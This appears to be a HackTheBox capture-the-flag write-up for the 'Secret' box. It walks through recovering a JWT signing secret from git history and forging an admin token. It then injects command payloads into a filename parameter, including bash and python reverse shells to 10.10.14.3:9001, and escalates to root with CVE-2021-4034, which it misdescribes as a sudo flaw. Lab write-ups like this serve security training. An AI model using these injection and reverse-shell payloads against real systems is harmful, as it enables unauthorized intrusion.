Secret
An easy Linux box from HackTheBox, decoding a JWT token for inital access, then a sudo exploit for root.
Recon
Running the usual nmaps
nmap -sV -sC -oA nmap/secret 10.10.11.120
And one in the background on all ports
Find an HTTP server on port 80, navigating to it, it has instructions to create a user and login with an endpoint POST system - by hitting /api/user/register to make an account, and /api/user/login to login
Content-Type: application/json
{"name":"georgy", "email":"gg@dasith.works", "password":"password"}
After logging in by hitting /api/user/login, get an auth-token
auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MjNlODI1ODg5OThjNzA0NjMwOTY5MjkiLCJuYW1lIjoiZ2Vvcmd5IiwiZW1haWwiOiJnZ0BkYXNpdGgud29ya3MiLCJpYXQiOjE2NDgyNjM4Mjl9.SaDFLVWVeu8Ep_2SABIZjAUV0Dyx6LHRvqKHQfgEBog
With the login
{
"email": "gg@dasith.works",
"password": "password"
}
Can decode the auth-token, its just base64
However the unhighlighted portion cannot be converted back, it’s the secret used in the making of the token
Exploitation
There are a lot of ways to exploit Javascript Web Tokens (JWT)
- Using the
none
algorithm - Hijacking another user
- Brute forcing the key
Using jwt.io , the none
alg doesn’t work
No way to see another users tokens
Could try to brute force it, but need the secret, then can put it in jwt.io and encode it
Looking at the source code, find that TOKEN_SECRET=secret (using grep for secret), but the encoded token doesn’t work when we hit /api/priv with the admin details, saying the token is invalid
Looking at the source code again, there is a git commit that says “removed .env for security reasons”
Checking with git log
Rolling back git by 2
git diff HEAD~2
Can find the secret token is
gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE
Using that in jwt.io with the known admin creds, name: theadmin, don’t need to change email because the source code only checks for “name == theadmin”
In the routes directory of the source code the code executes a shell command without cleaning the input, this is where we can inject some commands
To get a reverse shell on port 9001 on local machine, using a bash reverse shell payload for file name, index.js is a real file inside the source code
index.js; bash -i >& /dev/tcp/10.10.14.3/9001 0>&1
Doesn’t work, check if it has python3 with “index.js;which python3” as the payload, find out it has it
Use the python shell instead
index.js;python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.3",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
Get a reverse shell as dasith user
Now can download LinPeas.sh onto the system with a python server and run it in the /tmp directory
Linpeas finds that the sudo version is vulnerable to CVE-2021-4034
Google for it, then compile it in the /tmp directory of the server, and run it
Bam! Root